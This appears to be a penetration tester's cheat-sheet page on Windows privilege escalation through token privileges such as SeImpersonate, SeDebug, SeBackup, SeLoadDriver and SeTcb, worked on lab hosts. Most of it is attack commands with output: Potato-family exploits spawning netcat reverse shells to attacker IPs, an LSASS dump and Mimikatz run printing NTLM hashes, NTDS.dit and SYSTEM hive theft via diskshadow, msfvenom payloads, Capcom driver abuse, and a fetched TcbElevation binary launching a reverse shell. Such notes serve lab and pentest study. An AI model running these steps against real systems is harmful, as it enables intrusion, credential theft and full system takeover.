User Privileges

Dangerous Privileges

whoami /priv

Enumeration

Dangerous privileges:

SeBackupPrivilege

SeLoadDriverPrivilege

SeImpersonatePrivilege

SeDebugPrivilege

SeTcbPrivilege

SeAssignPrimaryToken

SeTakeOwnershipPrivilege

Windows Privilege Escalationserioton

Enable privileges

When a privilege is listed for our account in the Disabled state, it means that our account has the specific privilege assigned. Still, it cannot be used in an access token to perform the associated actions until it is enabled. Windows does not provide a built-in command or PowerShell cmdlet to enable privileges, so we need some scripting to help us out.

cmd

PSBits/EnableAllParentPrivileges at master · gtworek/PSBitsGitHub

Powershell

PowerShell Gallery | Scripts/Enable-Privilege.ps1 0.3.0.0www.powershellgallery.com

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1raw.githubusercontent.com

PS C:\htb> Import-Module .\Enable-Privilege.ps1
PS C:\htb> .\EnableAllTokenPrivs.ps1
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enable

SeImpersonate

My Blogpentest.party

MSSQL (1433)

mssqlclient.py sql_dev@10.129.43.30 -windows-auth

SQL> enable_xp_cmdshell

SQL> xp_cmdshell whoami /priv

output                                                                             

--------------------------------------------------------------------------------   
                                                                    
PRIVILEGES INFORMATION                                                             

----------------------                                                             
Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Juicy Potato

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards

GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.GitHub

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

output                                                                             

--------------------------------------------------------------------------------   

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375                               
                                                                            
[+] authresult 0                                                                   
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM                                                                                                    
[+] CreateProcessWithTokenW OK                                                     
[+] calling 0x000000000088ce08

$ sudo nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system

CLSID Problems

juicy-potato/CLSID/GetCLSID.ps1 at master · ohpe/juicy-potatoGitHub

.\juicypotato.exe -l 13337 -p c:\windows\system32\cmd.exe -a "/c C:\Users\Public\nc.exe 10.10.14.35 8443 -e cmd.exe" -t * -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

PrintSpoofer

GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"GitHub

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

output                                                                             

--------------------------------------------------------------------------------   

[+] Found privilege: SeImpersonatePrivilege                                        

[+] Named pipe listening...                                                        

[+] CreateProcessAsUser() OK                                                       

NULL

$ nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 49847
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system

RoguePotato

GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to SystemGitHub

EfsPotato

GitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).GitHub

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618

EfsPotato.exe "nc.exe -e cmd.exe 10.10.16.20 6666"

GitHub - bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc.GitHub

SigmaPotato (GREAT POTATO 🎉)

GitHub - tylerdotrar/SigmaPotato: SeImpersonate privilege escalation tool for Windows 8 - 11 and Windows Server 2012 - 2022 with extensive PowerShell and .NET reflection support.GitHub

GodPotato

GitHub - BeichenDream/GodPotatoGitHub

Rust implementation

GitHub - safedv/RustPotato: A Rust implementation of GodPotato — abusing SeImpersonate to gain SYSTEM privileges. Includes a TCP-based reverse shell and indirect NTAPI for various operations.GitHub

CoercedPotato

GitHub - Prepouce/CoercedPotato: A Windows potato to privescGitHub

DeadPotato

Obtain SYSTEM privilege

GitHub - lypd0/DeadPotato: DeadPotato is a windows privilege escalation utility from the Potato family of exploits, leveraging the SeImpersonate right to obtain SYSTEM privileges. This script has been customized from the original GodPotato source code by BeichenDream.GitHub

Other Potatoes

In the Potato family, ... | HideAndSechideandsec.sh

RemotePotato (User to DA) and LocalPotato (User to NT AUTHORITY\SYSTEM)

NTLM elevation of privilege

SeAssignPrimaryToken

This can be abused with JuicyPotato or JuicyPotatoNG

My Blogpentest.party

SeDebugPrivilege

OffensiveRust/EnableDebugPrivileges at master · trickster0/OffensiveRustGitHub

GitHub - xct/SeDebugAbuse: Get SYSTEM via SeDebugPrivilegeGitHub

LSASS Dump

Use ProcDump from the SysInternals suite to leverage this privilege and dump process memory.

C:\htb> procdump.exe -accepteula -ma lsass.exe lsass.dmp

Load this in Mimikatz using the sekurlsa::minidump command. After issuing the sekurlsa::logonPasswords commands, we gain the NTLM hash of the local administrator account logged on locally. We can use this to perform a pass-the-hash attack to move laterally if the same local administrator password is used on one or multiple additional systems (common in large organizations).

Mimikatz Pass the Hash (PtH)

C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>

Remote Code Execution

https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1raw.githubusercontent.com

GitHub - decoder-it/psgetsystem: getsystem via parent process using ps1 & embeded c#GitHub

Load the script and run it with the following syntax [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")

PS C:\htb> tasklist 

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          4 K
System                           4 Services                   0        116 K
smss.exe                       340 Services                   0      1,212 K
csrss.exe                      444 Services                   0      4,696 K
wininit.exe                    548 Services                   0      5,240 K
csrss.exe                      556 Console                    1      5,972 K
winlogon.exe                   612 Console                    1     10,408 K

Serch winlogon.exe PID, because we know this process runs as SYSTEM on Windows hosts.

Or with Get-Process to grab the PID of a well-known process that runs as SYSTEM (such as LSASS) and pass the PID directly to the script:

Often we will not have RDP access to a host, so we'll have to modify our PoCs to either return a reverse shell to our attack host as SYSTEM or another command, such as adding an admin user.

Other Tool

PrivFu/PrivilegedOperations/SeDebugPrivilegePoC at main · daem0nc0re/PrivFuGitHub

SeTakeOwnershipPrivilege

Note: Take great care when performing a potentially destructive action like changing file ownership, as it could cause an application to stop working or disrupt user(s) of the target object. Changing the ownership of an important file, such as a live web.config file, is not something we would do without consent from our client first. Furthermore, changing ownership of a file buried down several subdirectories (while changing each subdirectory permission on the way down) may be difficult to revert and should be avoided.

PS C:\htb> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
 
FullName                                 LastWriteTime         Attributes Owner
--------                                 -------------         ---------- -----
C:\Department Shares\Private\IT\cred.txt 6/18/2021 12:23:28 PM    Archive

Owner ?

PS C:\htb> cmd /c dir /q 'C:\Department Shares\Private\IT'

 Volume in drive C has no label.
 Volume Serial Number is 0C92-675B
 
 Directory of C:\Department Shares\Private\IT
 
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  .
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  ..
06/18/2021  12:23 PM                36 ...                    cred.txt
               1 File(s)             36 bytes
               2 Dir(s)  17,079,754,752 bytes free

Change ownership of the file

PS C:\htb> takeown /f 'C:\Department Shares\Private\IT\cred.txt'
 
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student".

if ERROR: File or Directory not found. remove the quote takeown /f C:\TakeOwn\flag.txt

Grant our user full privileges over the target file

PS C:\htb> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

PS C:\htb> cat 'C:\Department Shares\Private\IT\cred.txt'

When to use it ?

Files of Interest

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

.kdbx KeePass database files, OneNote notebooks, files such as passwords.*, pass.*, creds.*, scripts, other configuration files, virtual hard drive files, and more that we can target to extract sensitive information from to elevate our privileges

Credentials Hunting

SeBackupPrivilege

See Backup Operators in Group Privileges

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
...
SeBackupPrivilege             Back up files and directories  Enabled
...

pwn.txt

set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

*Evil-WinRM* PS C:\temp> upload pwn.txt

*Evil-WinRM* PS C:\temp> diskshadow /s pwn.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  1/18/2025 3:28:08 PM

-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Alias cdrive for shadow ID {924af307-fdb2-494e-8b80-e4f5a5f9815f} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {7caf2a78-c8c4-45af-b956-327869309d5c} set as environment variable.

Querying all shadow copies with the shadow copy set ID {7caf2a78-c8c4-45af-b956-327869309d5c}

	* Shadow copy ID = {924af307-fdb2-494e-8b80-e4f5a5f9815f}		%cdrive%
		- Shadow copy set: {7caf2a78-c8c4-45af-b956-327869309d5c}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{1b77e212-0000-0000-0000-100000000000}\ [C:\]
		- Creation time: 1/18/2025 3:28:23 PM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: BabyDC.baby.vl
		- Service machine: BabyDC.baby.vl
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent Differential

Number of shadow copies listed: 1
-> expose %cdrive% E:
-> %cdrive% = {924af307-fdb2-494e-8b80-e4f5a5f9815f}
The shadow copy was successfully exposed as E:\.
-> end backup
->


*Evil-WinRM* PS C:\temp> robocopy /b E:\Windows\ntds . ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Friday, August 9, 2024 10:57:58 PM
   Source : E:\windows\ntds\
     Dest : C:\temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

                           1    z:\windows\ntds\
            New File              16.0 m        ntds.dit

[snipped]

*Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM c:\temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\temp> download system

Info: Downloading C:\temp\system to system

Info: Download successful!

*Evil-WinRM* PS C:\temp> download ntds.dit

Info: Downloading C:\temp\ntds.dit to ntds.dit

Info: Download successful!

secretsdump.py -system system -ntds ntds.dit local

NXC

nxc smb dc -u user -p pass -M backup_operator

SeLoadDriverPrivileges

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o shell.exe

GitHub - k4sth4/SeLoadDriverPrivilege: Windows Privilege EscalationGitHub

*Evil-WinRM* PS C:\temp> upload Capcom.sys
*Evil-WinRM* PS C:\temp> upload ExploitCapcom.exe
*Evil-WinRM* PS C:\temp> upload eoploaddriver_x64.exe
*Evil-WinRM* PS C:\temp> upload shell.exe

*Evil-WinRM* PS C:\temp> .\eoploaddriver_x64.exe System\CurrentControlSet\dfserv C:\temp\Capcom.sys

*Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe LOAD \temp\Capcom.sys

*Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe EXPLOIT .\shell.exe

SeTcbPrivilege

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
...
SeTcbPrivilege                Act as part of the operating system Enabled
...

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> iwr http://<tun0>/TcbElevation.exe -outfile TcbElevation.exe

GitHub - xct/rcat: rcatGitHub

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload rcat_10.8.0.210_443.exe

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\TcbElevation.exe pwn "C:\Windows\system32\cmd.exe /c C:\Users\svc_deploy\Documents\rcat_10.8.0.210_443.exe"
Error starting service 1053

➜  rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.153.117] 53924
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

SeRestorePrivilege

GitHub - xct/SeRestoreAbuse: SeRestorePrivilege to SYSTEMGitHub

SeManageVolumePrivilege

GitHub - xct/SeManageVolumeAbuse: SeManageVolumePrivilege to SYSTEMGitHub

Resources

GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.GitHub

PreviousCredentials Hunting NextGroup Privileges

Last updated 1 year ago

hashtagDangerous Privileges

hashtagEnable privileges

hashtagSeImpersonate

hashtagJuicy Potato

hashtagCLSID Problems

hashtagPrintSpoofer

hashtagRoguePotato

hashtagEfsPotato

hashtagSigmaPotato (GREAT POTATO 🎉)

hashtagGodPotato

hashtagCoercedPotato

hashtagDeadPotato

hashtagOther Potatoes

hashtagSeAssignPrimaryToken

hashtagSeDebugPrivilege

hashtagLSASS Dump

hashtagRemote Code Execution

hashtagOther Tool

hashtagSeTakeOwnershipPrivilege

hashtagWhen to use it ?

hashtagSeBackupPrivilege

hashtagNXC

hashtagSeLoadDriverPrivileges

hashtagSeTcbPrivilege

hashtagSeRestorePrivilege

hashtagSeManageVolumePrivilege

hashtagResources

Dangerous Privileges

Enable privileges

SeImpersonate

Juicy Potato

CLSID Problems

PrintSpoofer

RoguePotato

EfsPotato

SigmaPotato (GREAT POTATO 🎉)

GodPotato

CoercedPotato

DeadPotato

Other Potatoes

SeAssignPrimaryToken

SeDebugPrivilege

LSASS Dump

Remote Code Execution

Other Tool

SeTakeOwnershipPrivilege

When to use it ?

SeBackupPrivilege

NXC

SeLoadDriverPrivileges

SeTcbPrivilege

SeRestorePrivilege

SeManageVolumePrivilege

Resources